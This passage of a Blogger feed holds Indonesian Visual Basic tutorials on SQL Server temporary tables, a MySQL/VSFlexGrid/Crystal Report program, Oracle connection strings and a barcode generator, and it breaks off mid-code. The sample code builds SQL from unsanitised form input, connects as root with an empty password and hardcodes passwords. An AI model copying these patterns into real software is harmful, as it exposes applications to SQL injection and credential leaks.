rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5227012668171550797'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/semua-koneksi-string-dengan-vb.html' title='Menghubungkan VB dengan semua database'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-6616862704450651214</id><published>2008-11-28T10:11:00.004+07:00</published><updated>2008-11-28T10:33:34.493+07:00</updated><title type='text'>Membuat tabel sementara di SQL Server</title><content type='html'>Ada kalanya pada saat kita melakukan programming vb misalnya kita membutuhkan suatu table yang bersifat sementara atau temporary table, misalnya untuk menampung hasil dari suatu proses atau query.&lt;br /&gt;&lt;br /&gt;Membuat tabel sementara saat ini adalah hampir sama dengan membuat sebuah tabel biasa. terutama adalah pengecualian penamaan tabel. Sebuah hash('#') karakter pertama sebagai karakter dalam tabel nama menandakan bahwa sementara table.Disini ada dua jenis tabel sementara, lokal dan global.Tabel lokal sementara memiliki satu tabel hash('#')&lt;br /&gt;Tabel global adalah terlihat oleh semua pengguna dan secara otomatis akan dihapus ketika terakhir pengguna yang memiliki referensi tabel disconnects.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Salah satu contoh tabel lokal sementara:&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&lt;code&gt;create table #foo&lt;br /&gt;(&lt;br /&gt;    CarIndex  smallint,&lt;br /&gt;    CarType   varchar(20)&lt;br /&gt;)&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Salah satu contoh tabel global sementara:&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&lt;code&gt;create table ##baz&lt;br /&gt;(&lt;br /&gt;    CarIndex  smallint,&lt;br /&gt;    CarType   varchar(20)&lt;br /&gt;)&lt;span style="font-family: Georgia,serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;Selamat mencoba dan mempraktekan..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-6616862704450651214?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/6616862704450651214/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=6616862704450651214' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/6616862704450651214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/6616862704450651214'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/membuat-tabel-sementara-di-sql-server.html' title='Membuat tabel sementara di SQL Server'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-8898866162032145662</id><published>2008-11-28T09:55:00.003+07:00</published><updated>2008-11-28T10:06:41.216+07:00</updated><title type='text'>Membuat Laporan Menggunakan VSFlexgrid</title><content type='html'>Saya akan coba  bahas suatu program menggunakan VB - MYSQL ditambah sedikit aksesoris vsflexgrid dan crystal report    &lt;p&gt;Berikut ini adalah tampilan , kira kira program yang akan kita buat :&lt;/p&gt; &lt;p&gt;&lt;img src="file:///C:/DOCUME%7E1/gw_mlg/LOCALS%7E1/Temp/moz-screenshot.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/gw_mlg/LOCALS%7E1/Temp/moz-screenshot-1.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/gw_mlg/LOCALS%7E1/Temp/moz-screenshot-2.jpg" alt="" /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eGS0YABgxQo/SS9eNKe5lrI/AAAAAAAAABY/6njveUzcjaY/s1600-h/mysqlvg.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 462px; height: 291px;" src="http://3.bp.blogspot.com/_eGS0YABgxQo/SS9eNKe5lrI/AAAAAAAAABY/6njveUzcjaY/s320/mysqlvg.jpg" alt="" id="BLOGGER_PHOTO_ID_5273537268919408306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;(click gambar untuk memperbesar)&lt;br /&gt;Program ini kita buat simple, database mysql dengan satu  table.&lt;br /&gt;Step Pertama adalah Menyiapkan Database :&lt;br /&gt;1. Buat satu database dengan nama : “Market”&lt;br /&gt;2. Buat tablenya sebagai berikut :&lt;br /&gt;&lt;br /&gt;CREATE TABLE `marketdetail` (&lt;br /&gt; `ID` varchar(255) character set utf8 default NULL,&lt;br /&gt; `Comodity` varchar(255) character set utf8 default NULL,&lt;br /&gt; `Quantity` float default NULL,&lt;br /&gt; `Negara` varchar(255) character set utf8 default NULL,&lt;br /&gt; `Dest` varchar(255) character set utf8 default NULL,&lt;br /&gt; `Tanggal` varchar(255) character set utf8 default NULL,&lt;br /&gt; `CW` float default NULL,&lt;br /&gt; `BERAT` varchar(255) character set utf8 default NULL,&lt;br /&gt; `Market_id` mediumint(9) NOT NULL auto_increment,&lt;br /&gt; PRIMARY KEY  (`Market_id`)&lt;br /&gt;) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=99 ;—-&lt;br /&gt;&lt;/p&gt;&lt;p align="justify"&gt;Setelah database beserta tablenya dibuat, berikutnya kita siapkan modul entrynya menggunakan aplikasi VB. Berikut tampilan dan listing programnya&lt;/p&gt;    &lt;p&gt;&lt;span id="more-83"&gt;&lt;/span&gt; Lakukan langkah Berikut :&lt;/p&gt; &lt;p&gt;1. Buat satu Modul (namakan global.bas)&lt;br /&gt;2. Isikan modul tersebut dengan Syntak2 Berikut :&lt;/p&gt; &lt;p&gt;Public objCnn As New ADODB.Connection&lt;br /&gt;Public objcmd As New ADODB.Command&lt;br /&gt;Public objRst As New ADODB.Recordset&lt;br /&gt;Public USRText As String&lt;br /&gt;Public PWDText As String&lt;br /&gt;Public PortText As String&lt;br /&gt;Public strconnect As String&lt;br /&gt;Public ServerAddress As String&lt;br /&gt;Public DatabaseName As String&lt;br /&gt;Sub SQLConnection() &lt;br /&gt;    ServerAddress = “localhost”&lt;br /&gt;    USRText = “root”&lt;br /&gt;    PWDText = “”&lt;br /&gt;    DatabaseName = “market”&lt;br /&gt;    PortText = “”&lt;br /&gt;    Set objCnn = Nothing&lt;br /&gt;    strconnect = “Provider=MSDASQL.1;Password=;Persist Security Info=True;User ID=;Extended Properties=” &amp;amp; Chr$(34) &amp;amp; “DRIVER={MySQL ODBC 3.51 Driver};DESC=;DATABASE=” &amp;amp; DatabaseName &amp;amp; “;SERVER=” &amp;amp; ServerAddress &amp;amp; “;UID=” &amp;amp; USRText &amp;amp; “;PASSWORD=” &amp;amp; PWDText &amp;amp; “;PORT=” &amp;amp; PortText &amp;amp; “;OPTION=16387;STMT=;” &amp;amp; Chr$(34)&lt;br /&gt;    objCnn.CursorLocation = adUseClient&lt;br /&gt;    objCnn.ConnectionTimeout = 0&lt;br /&gt;    objCnn.Open strconnect&lt;br /&gt;End Sub&lt;/p&gt; &lt;p&gt;Sub SQLDisconnection()&lt;br /&gt;    Set objRst = Nothing&lt;br /&gt;    Set objcmd = Nothing&lt;br /&gt;    objCnn.Close&lt;br /&gt;End Sub&lt;/p&gt; &lt;p&gt;2. Buat Form seperti Dibawah ini&lt;/p&gt; &lt;p&gt;&lt;img src="http://pondokindah.files.wordpress.com/2006/08/marketentry.JPG" /&gt;&lt;/p&gt; &lt;p&gt;3. Pada tombol Save isikan syntak berikut (&lt;strong&gt;perhatikan pada penamaan objek Text Box dan Tanggal !!)&lt;/strong&gt; :&lt;/p&gt; &lt;p&gt; Select Case MsgBox(”Do you want to save the record?”, vbQuestion + vbYesNoCancel, “Confirmation”)&lt;br /&gt;                Case vbYes&lt;br /&gt;                   ‘ If Not bValidate Then Exit Sub&lt;br /&gt;                  &lt;br /&gt;                    Call SQLConnection&lt;br /&gt;                    strSQL = “INSERT INTO marketdetail (ID, Comodity, Quantity, Negara, Dest, Tanggal, CW, Berat) ” &amp;amp; _&lt;br /&gt;                        “VALUES (’” + Trim(Me.TxtName.Item(0).Text) + “‘ , ‘” + Trim(Me.TxtName.Item(1).Text) + “‘, ” &amp;amp; Me.TxtName.Item(2).Text &amp;amp; “,” &amp;amp; _&lt;br /&gt;                                ” ‘” + Trim(Me.TxtName.Item(3).Text) + “‘ , ‘” + Trim(Me.TxtName.Item(4).Text) + “‘, ‘” + Format(Me.TxtDate(0).Value, “mm/dd/yy”) + “‘, ‘” &amp;amp; Me.TxtName.Item(5).Text &amp;amp; “‘, ‘” &amp;amp; Me.TxtName.Item(6).Text &amp;amp; “‘)”&lt;br /&gt;                    objCnn.Execute (strSQL)&lt;br /&gt;                    Call SQLDisconnection&lt;br /&gt;             Case vbNo&lt;br /&gt;                   msgbox “Gak Jadi !!”&lt;br /&gt;            Case vbCancel&lt;br /&gt;                   Msgbox “Batal”&lt;br /&gt;            End Select&lt;/p&gt;&lt;p align="justify"&gt;Selanjutnya, data akan kita tampilkan pada VSFlexgrid dan terakhir Crystal report&lt;br /&gt;&lt;/p&gt;   &lt;p&gt;&lt;span id="more-85"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;I. Buat tampilan seperti dibawah ini ,&lt;br /&gt;   &lt;a href="http://pondokindah.files.wordpress.com/2006/09/showdata.JPG" title="Show Data" class="imagelink"&gt;&lt;img src="http://pondokindah.files.wordpress.com/2006/09/showdata.thumbnail.JPG" alt="Show Data" height="76" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;   dgn komposisi sebagai berikut :&lt;br /&gt;   1. satu buah combo box dengan nama CboFields&lt;br /&gt;   2. satu buah vsFlexgrid dengan nama VSFlexGrid1&lt;br /&gt;   3. dua buah command button dengan nama :&lt;br /&gt;       cmdprocess dan cmdprint&lt;/p&gt; &lt;p&gt;II.  Berikut syntax2-nya :&lt;/p&gt; &lt;p&gt;&lt;strong&gt;1. Form load :&lt;/strong&gt;&lt;strong&gt;Private Sub Form_Load()&lt;br /&gt;    Me.Left = 0&lt;br /&gt;    Me.Top = 0&lt;br /&gt;    Me.VSFlexGrid1.Rows = 1&lt;br /&gt;    Call SQLConnection&lt;br /&gt;    Me.CboFields.Clear&lt;br /&gt;  &lt;br /&gt;    ’syntax dibawah ini digunakan untuk mengisi combo box dengan&lt;br /&gt;    ’nama2 filed dari table marketdetail  &lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;  With objcmd&lt;br /&gt;        .ActiveConnection = objCnn&lt;br /&gt;        .CommandText = “show columns from marketdetail”&lt;br /&gt;        .CommandType = adCmdText&lt;br /&gt;    End With&lt;br /&gt;    Set objRst = objcmd.Execute&lt;br /&gt;        Do While objRst.EOF = False&lt;br /&gt;            Me.CboFields.AddItem objRst.Fields(0)&lt;br /&gt;            objRst.MoveNext&lt;br /&gt;            DoEvents&lt;br /&gt;        Loop&lt;br /&gt;    Call SQLDisconnection&lt;br /&gt;End Sub&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;2. tombol Process (CmdProcess)&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Private Sub CmdProcess_Click()&lt;br /&gt;On Error GoTo erhan&lt;br /&gt;Call SQLConnection&lt;br /&gt;Dim i As Integer&lt;br /&gt;Dim y As Integer&lt;br /&gt;Dim cnt1 As Integer&lt;br /&gt;i = 0&lt;br /&gt;y = 0&lt;br /&gt;If Len(Trim(Me.CboFields.Text)) = 0 Then&lt;br /&gt;    MsgBox “Please select Order By Selection !”, vbOKOnly + vbInformation&lt;br /&gt;    Exit Sub&lt;br /&gt;End If&lt;br /&gt;    With objcmd&lt;br /&gt;        .ActiveConnection = objCnn&lt;br /&gt;        .CommandText = “Select  * From marketdetail order by ” + Me.CboFields.Text + ” asc”&lt;br /&gt;        .CommandType = adCmdText&lt;br /&gt;    End With&lt;br /&gt;    Set objRst = objcmd.Execute&lt;br /&gt;    If objRst.EOF = False Then&lt;br /&gt;  cnt1 = objRst.RecordCount&lt;br /&gt;  For i = 0 To objRst.Fields.Count - 1&lt;br /&gt;        Me.VSFlexGrid1.Rows = 1&lt;br /&gt;        Me.VSFlexGrid1.Cols = 11&lt;br /&gt;        Me.VSFlexGrid1.Row = 0&lt;br /&gt;        Me.VSFlexGrid1.Col = i + 1&lt;br /&gt;        Me.VSFlexGrid1.Text = objRst.Fields(i).Name&lt;br /&gt;        Me.VSFlexGrid1.CellFontBold = True&lt;br /&gt;   Next&lt;br /&gt;    i = 0&lt;br /&gt;    y = 1&lt;br /&gt;    Do While objRst.EOF = False&lt;br /&gt;        Me.VSFlexGrid1.Rows = Me.VSFlexGrid1.Rows + 1&lt;br /&gt;        For i = 0 To objRst.Fields.Count - 1&lt;br /&gt;            Me.VSFlexGrid1.TextMatrix(y, i + 1) = Trim(objRst.Fields(i))&lt;br /&gt;            DoEvents&lt;br /&gt;        Next i&lt;br /&gt;        y = y + 1&lt;br /&gt;        DoEvents&lt;br /&gt;        objRst.MoveNext&lt;br /&gt;        DoEvents&lt;br /&gt;    Loop&lt;br /&gt;Else&lt;br /&gt;    Exit Sub&lt;br /&gt;End If&lt;br /&gt;Call SQLDisconnection&lt;br /&gt; &lt;br /&gt;  &lt;br /&gt;    DoEvents&lt;br /&gt;    Me.VSFlexGrid1.AllowUserResizing = flexResizeBoth&lt;br /&gt;    i = 0&lt;br /&gt;    For i = 1 To 10&lt;br /&gt;        Me.VSFlexGrid1.MergeCol(i) = True&lt;br /&gt;    Next i&lt;br /&gt;SortAndShow&lt;br /&gt;     &lt;br /&gt;VSFlexGrid1.MergeCells = 1&lt;br /&gt;VSFlexGrid1.MergeCells = 2&lt;br /&gt;‘&lt;br /&gt;VSFlexGrid1.Subtotal flexSTSum, -1, 3, m_Fmt, , RGB(255, 0, 0), True&lt;br /&gt;VSFlexGrid1.Subtotal flexSTSum, -1, 7, m_Fmt, , RGB(255, 0, 0), True&lt;/p&gt; &lt;p&gt;VSFlexGrid1.Subtotal flexSTSum, 1, 3, m_Fmt, , RGB(0, 0, 255), True&lt;br /&gt;VSFlexGrid1.Subtotal flexSTSum, 1, 7, m_Fmt, , RGB(255, 0, 0), True&lt;br /&gt;Exit Sub&lt;br /&gt;erhan:&lt;br /&gt;MsgBox Err.Description&lt;br /&gt;Call SQLDisconnection&lt;br /&gt;End Sub&lt;br /&gt;”—– additional procedure&lt;/p&gt; &lt;p&gt;Sub SortAndShow()&lt;br /&gt;    Dim r%, c%&lt;br /&gt;    On Error GoTo erhan&lt;br /&gt;    VSFlexGrid1.Redraw = False&lt;/p&gt; &lt;p&gt;    r = VSFlexGrid1.Row&lt;br /&gt;    c = VSFlexGrid1.Col&lt;/p&gt; &lt;p&gt;    VSFlexGrid1.Col = 0&lt;br /&gt;    VSFlexGrid1.ColSel = VSFlexGrid1.Cols - 1&lt;br /&gt;    VSFlexGrid1.Row = r&lt;br /&gt;    VSFlexGrid1.Col = c&lt;br /&gt;    VSFlexGrid1.Redraw = True&lt;br /&gt;    Exit Sub&lt;br /&gt;erhan:&lt;br /&gt;    MsgBox Err.Description&lt;br /&gt;    Resume Next&lt;br /&gt;End Sub&lt;/p&gt; &lt;p&gt;&lt;strong&gt;3. tombol Print (cmdprint)&lt;br /&gt;&lt;br /&gt;   untuk tombol print ini pastikan reportnya sudah dibuat terlebih dahulu, dengan nama file reportnya adalah “mymarket.rpt”&lt;br /&gt;&lt;br /&gt;&lt;/strong&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;Private Sub CmdPrint_Click()&lt;br /&gt;On Error GoTo erhan&lt;br /&gt;    LocText$ = LCase(App.path)&lt;br /&gt;    If Right$(App.path, 1) &lt;&gt; “\” Then LocText$ = LocText$ + “\”&lt;br /&gt;    CrystalReport1.Connect = strconnect&lt;br /&gt;    CrystalReport1.ReportFileName = LocText$ + “mymarket.rpt”&lt;/p&gt; &lt;p&gt;On Error GoTo erhan&lt;br /&gt;        CrystalReport1.Action = 0&lt;br /&gt;    Exit Sub&lt;br /&gt;erhan:&lt;br /&gt;    MsgBox Err.Description&lt;br /&gt;End Sub&lt;/p&gt; &lt;p&gt;jadi hasil akhirnya harusnya seperti ini :&lt;/p&gt; &lt;p&gt;&lt;a href="http://pondokindah.files.wordpress.com/2006/09/showdata2.JPG" title="hasil akhir" class="imagelink"&gt;&lt;img src="http://pondokindah.files.wordpress.com/2006/09/showdata2.thumbnail.JPG" alt="hasil akhir" height="84" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;dan seperti ini&lt;/p&gt; &lt;p&gt;&lt;a href="http://pondokindah.files.wordpress.com/2006/09/report.JPG" title="report" class="imagelink"&gt;&lt;img src="http://pondokindah.files.wordpress.com/2006/09/report.thumbnail.JPG" alt="report" height="96" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-8898866162032145662?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/8898866162032145662/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=8898866162032145662' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8898866162032145662'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8898866162032145662'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/membuat-laporan-menggunakan-vsflexgrid.html' title='Membuat Laporan Menggunakan VSFlexgrid'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_eGS0YABgxQo/SS9eNKe5lrI/AAAAAAAAABY/6njveUzcjaY/s72-c/mysqlvg.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-8447185761213081692</id><published>2008-11-28T09:37:00.001+07:00</published><updated>2008-11-28T09:54:16.120+07:00</updated><title type='text'>Koneksi VB dengan Oracle menggunakan ODBC</title><content type='html'>Pada posting ini saya coba tuliskan cara koneksi VB ke Oracle via ODBC dan Connection string .&lt;br /&gt;Berikut Selengkapnya :   &lt;p&gt;&lt;span id="more-98"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Coba buat form seperti berikut :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pondokindah.files.wordpress.com/2007/02/vbora.JPG" title="vbora"&gt;&lt;img src="http://pondokindah.files.wordpress.com/2007/02/vbora.JPG" alt="vbora" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Kita akan mengisikan kode pada Tombol “Connect ODBC” dan “Connection String”&lt;br /&gt;&lt;strong&gt;1. Tombol Connect ODBC&lt;/strong&gt;&lt;br /&gt;&lt;em&gt;Private Sub cmdConnectODBC_Click()&lt;br /&gt;    On Error GoTo erhan&lt;br /&gt;        Dim Objcnn As New ADODB.Connection&lt;br /&gt;        Dim SQLString As String&lt;br /&gt;        SQLString = “DSN=RyanOra;UID=ryan;PWD=Killme;”&lt;br /&gt;        Objcnn.Open SQLString&lt;br /&gt;        Objcnn.CommandTimeout = 0&lt;br /&gt;        MsgBox “Sucess”&lt;br /&gt;    Exit Sub&lt;br /&gt;erhan:&lt;br /&gt;    MsgBox Err.Description&lt;br /&gt;End Sub&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;Kode diatas dapat dijalankan,d engan Asumsi, Kita sudah membuat ODBC data sourcenya dengan Nama : RyanORa&lt;/p&gt; &lt;p&gt;&lt;strong&gt;2. Tombol Connection String&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;em&gt;Private Sub CmdConStr_Click()&lt;br /&gt;On Error GoTo erhan&lt;br /&gt;        Dim Objcnn As New ADODB.Connection&lt;br /&gt;        Dim SQLString As String&lt;br /&gt;        SQLString = “Provider=OraOLEDB.Oracle.1;Password=itonly;Persist Security Info=True;User ID=ryan;Data Source=ORARYAN”&lt;/em&gt;&lt;/p&gt; &lt;p&gt;&lt;em&gt;        Objcnn.Open SQLString&lt;br /&gt;        Objcnn.CommandTimeout = 0&lt;br /&gt;    MsgBox “Sucess”&lt;br /&gt;Exit Sub&lt;br /&gt;erhan:&lt;br /&gt;MsgBox Err.Description&lt;br /&gt;End Sub&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Kode diatas menerangkan, cara koneksi untuk ke database oracle :RYANORA&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-8447185761213081692?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/8447185761213081692/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=8447185761213081692' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8447185761213081692'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8447185761213081692'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/koneksi-vb-dengan-oracle-menggunakan.html' title='Koneksi VB dengan Oracle menggunakan ODBC'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-9149503496650930568</id><published>2008-11-24T09:08:00.006+07:00</published><updated>2008-11-28T10:50:46.238+07:00</updated><title type='text'>Membuat Program Barcode</title><content type='html'>Kode di bawah ini akan menunjukkan cara untuk input data ke dalam kotak teks dan mendapatkan barcode dari gambar itu. Anda juga akan mempelajari bagaimana untuk bekerja dengan clipboard checksum dan kontrol.&lt;br /&gt;&lt;br /&gt;Untuk menggunakan, baru memulai Visual Basic Proyek, menambahkan formulir untuk proyek dan paste kode di bawah ini ke dalamnya. Anda akan memiliki visual untuk membuat kotak (qty4), tombol perintah, frame (qty2), label, tombol pilihan (qty4), gambar kotak (qty2) dan kotak teks.&lt;p&gt;Berikut tampilan preview dari program barcode maker yang kita akan buat.Untuk desain anda bisa membuat sesuai dengan&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img alt="Barcode Software" src="http://www.11amdesign.com/tutorials/barcode.gif" width="449" height="220" /&gt;&lt;/p&gt;&lt;p&gt;Option Explicit&lt;br /&gt;Dim BCtype As Long&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Private Sub makeBC()&lt;br /&gt; Select Case BCtype&lt;br /&gt;     Case 0&lt;br /&gt;         make39&lt;br /&gt;     Case 1&lt;br /&gt;         makei25&lt;br /&gt;     Case 2&lt;br /&gt;         make128&lt;br /&gt;     Case 3&lt;br /&gt;         makeCodabar&lt;br /&gt; End Select&lt;br /&gt;End Sub&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Private Sub make39()&lt;br /&gt;Dim x As Long, y As Long, pos As Long&lt;br /&gt;Dim Bardata As String&lt;br /&gt;Dim Cur As String&lt;br /&gt;Dim CurVal As Long&lt;br /&gt;Dim chksum As Long&lt;br /&gt;Dim chkchr As String&lt;br /&gt;Dim temp As String&lt;br /&gt;Dim BC(43) As String&lt;br /&gt; '3 of the 9 elements are wide: 0=narrow, 1=wide&lt;br /&gt; BC(0) = "000110100" '0&lt;br /&gt; BC(1) = "100100001" '1&lt;br /&gt; BC(2) = "001100001" '2&lt;br /&gt; BC(3) = "101100000" '3&lt;br /&gt; BC(4) = "000110001" '4&lt;br /&gt; BC(5) = "100110000" '5&lt;br /&gt; BC(6) = "001110000" '6&lt;br /&gt; BC(7) = "000100101" '7&lt;br /&gt; BC(8) = "100100100" '8&lt;br /&gt; BC(9) = "001100100" '9&lt;br /&gt; BC(10) = "100001001" 'A&lt;br /&gt; BC(11) = "001001001" 'B&lt;br /&gt; BC(12) = "101001000" 'C&lt;br /&gt; BC(13) = "000011001" 'D&lt;br /&gt; BC(14) = "100011000" 'E&lt;br /&gt; BC(15) = "001011000" 'F&lt;br /&gt; BC(16) = "000001101" 'G&lt;br /&gt; BC(17) = "100001100" 'H&lt;br /&gt; BC(18) = "001001100" 'I&lt;br /&gt; BC(19) = "000011100" 'J&lt;br /&gt; BC(20) = "100000011" 'K&lt;br /&gt; BC(21) = "001000011" 'L&lt;br /&gt; BC(22) = "101000010" 'M&lt;br /&gt; BC(23) = "000010011" 'N&lt;br /&gt; BC(24) = "100010010" 'O&lt;br /&gt; BC(25) = "001010010" 'P&lt;br /&gt; BC(26) = "000000111" 'Q&lt;br /&gt; BC(27) = "100000110" 'R&lt;br /&gt; BC(28) = "001000110" 'S&lt;br /&gt; BC(29) = "000010110" 'T&lt;br /&gt; BC(30) = "110000001" 'U&lt;br /&gt; BC(31) = "011000001" 'V&lt;br /&gt; BC(32) = "111000000" 'W&lt;br /&gt; BC(33) = "010010001" 'X&lt;br /&gt; BC(34) = "110010000" 'Y&lt;br /&gt; BC(35) = "011010000" 'Z&lt;br /&gt; BC(36) = "010000101" '-&lt;br /&gt; BC(37) = "110000100" '.&lt;br /&gt; BC(38) = "011000100" '&lt;spc&gt;&lt;br /&gt; BC(39) = "010101000" '$&lt;br /&gt; BC(40) = "010100010" '/&lt;br /&gt; BC(41) = "010001010" '+&lt;br /&gt; BC(42) = "000101010" '%&lt;br /&gt; BC(43) = "010010100" '*  (used for start/stop character only)&lt;br /&gt;&lt;br /&gt; Picture1.Cls&lt;br /&gt; If Text1.Text = "" Then Exit Sub&lt;br /&gt; pos = 20&lt;br /&gt; Bardata = UCase(Text1.Text)&lt;br /&gt;&lt;br /&gt; 'Check for invalid characters, build temp string &amp;amp; calculate check sum&lt;br /&gt; For x = 1 To Len(Bardata)&lt;br /&gt;     Cur = Mid$(Bardata, x, 1)&lt;br /&gt;     Select Case Cur&lt;br /&gt;         Case "0" To "9"&lt;br /&gt;             CurVal = Val(Cur)&lt;br /&gt;         Case "A" To "Z"&lt;br /&gt;             CurVal = Asc(Cur) - 55&lt;br /&gt;         Case "-"&lt;br /&gt;             CurVal = 36&lt;br /&gt;         Case "."&lt;br /&gt;             CurVal = 37&lt;br /&gt;         Case " "&lt;br /&gt;             CurVal = 38&lt;br /&gt;         Case "$"&lt;br /&gt;             CurVal = 39&lt;br /&gt;         Case "/"&lt;br /&gt;             CurVal = 40&lt;br /&gt;         Case "+"&lt;br /&gt;             CurVal = 41&lt;br /&gt;         Case "%"&lt;br /&gt;             CurVal = 42&lt;br /&gt;         Case Else 'oops!&lt;br /&gt;             Picture1.Print Cur &amp;amp; " is Invalid"&lt;br /&gt;             Exit Sub&lt;br /&gt;     End Select&lt;br /&gt;     temp = temp &amp;amp; BC(CurVal) &amp;amp; "0" '"0"= add intercharactor gap (1 narrow space)&lt;br /&gt;     chksum = chksum + CurVal&lt;br /&gt; Next&lt;br /&gt;&lt;br /&gt; 'Add Check Character? (rarely used, but i put it here anyway...)&lt;br /&gt; If Check1(2).Value Then&lt;br /&gt;     chksum = chksum Mod 43&lt;br /&gt;     temp = temp &amp;amp; BC(chksum) &amp;amp; "0"&lt;br /&gt;     chkchr = Mid$("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-. $/+%*", chksum + 1, 1)&lt;br /&gt; End If&lt;br /&gt;&lt;br /&gt; 'Add Start &amp;amp; Stop characters (must have 'em for valid barcodes)&lt;br /&gt; temp = BC(43) &amp;amp; "0" &amp;amp; temp &amp;amp; BC(43)&lt;br /&gt;&lt;br /&gt; 'Generate Barcode&lt;br /&gt; For x = 1 To Len(temp)&lt;br /&gt;     If x Mod 2 = 0 Then&lt;br /&gt;         'SPACE&lt;br /&gt;         pos = pos + 1 + (2 * Val(Mid$(temp, x, 1))) + Check1(0).Value&lt;br /&gt;     Else&lt;br /&gt;         'BAR&lt;br /&gt;         For y = 1 To 1 + (2 * Val(Mid$(temp, x, 1)))&lt;br /&gt;             Picture1.Line (pos, 1)-(pos, 58 - Check1(1) * 8)&lt;br /&gt;             pos = pos + 1&lt;br /&gt;         Next&lt;br /&gt;     End If&lt;br /&gt; Next&lt;/spc&gt;&lt;/p&gt;&lt;p&gt;    'Add Label?&lt;br /&gt; If Check1(1).Value Then&lt;br /&gt;     Picture1.CurrentX = 35 + Len(Bardata) * (5 + Check1(0).Value * 2) 'kinda center&lt;br /&gt;     Picture1.CurrentY = 50&lt;br /&gt;     Picture1.Print Bardata &amp;amp; chkchr;&lt;br /&gt; End If&lt;br /&gt;End Sub&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Private Sub makei25()&lt;br /&gt;Dim x As 